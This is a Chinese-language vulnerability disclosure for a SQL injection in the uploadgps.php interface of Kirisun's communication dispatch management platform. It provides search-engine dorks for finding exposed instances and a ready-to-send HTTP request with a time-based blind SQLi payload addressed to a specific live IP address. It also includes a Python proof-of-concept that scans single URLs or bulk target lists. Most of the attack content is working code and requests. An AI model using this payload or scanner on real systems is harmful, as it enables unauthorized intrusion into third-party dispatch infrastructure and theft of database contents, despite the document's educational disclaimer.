声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。其uploadgps
接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句。
漏洞复现
1)信息收集
fofa:body="指挥调度管理平台"
hunter:web.body="指挥调度管理平台"
人生而自由,却无往不在枷锁中。
2)构造数据包
POST /api/client/task/uploadgps.php HTTP/1.1
Host:119.91.51.243:7080
Content-Type: application/x-www-form-urlencoded
uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number=
代码解释:
uuid=
:这可能是一个参数名,通常用于标识请求的唯一性,但在这里它后面没有值。gps=1'
:gps
可能是一个参数名,其值被设为1
。单引号'
通常用于结束SQL语句中的字符串,但在这里它被用来尝试结束一个字符串值。AND
:SQL中的逻辑运算符,用来连接多个条件。(SELECT 7679 FROM (SELECT(SLEEP(4)))ozYR)
:这是一个SQL查询,尝试从子查询中选择值。SLEEP(4)
是一个SQL函数,它会使查询暂停4秒。这通常用于测试SQL注入漏洞,因为如果查询延迟了,就可能表明注入点存在。AND 'fqDZ'='fqDZ'
:这是一个始终为真的条件,因为字符串'fqDZ'
被比较为自身。
整个代码片段的意图是利用SQL注入技术,通过插入恶意SQL代码来测试或利用后端数据库的漏洞。如果这段代码被成功执行,它可能会导致数据库执行一个延迟的操作,攻击者可以通过观察响应时间来探测数据库结构或获取敏感信息。
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
RED = '\033[91m'
RESET = '\033[0m'
# Function to check vulnerability
def check_vulnerability(url):
try:
# Construct the attack URL
path = "/api/client/task/uploadgps.php"
payload = "uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number="
full_url = url.rstrip('/') + path
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
start_time = time.time()
# Send the request
response = requests.post(full_url, data=payload, headers=headers, timeout=30)
elapsed_time = time.time() - start_time
if 4 <= elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
# Main function to parse arguments and check vulnerability
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
运行截图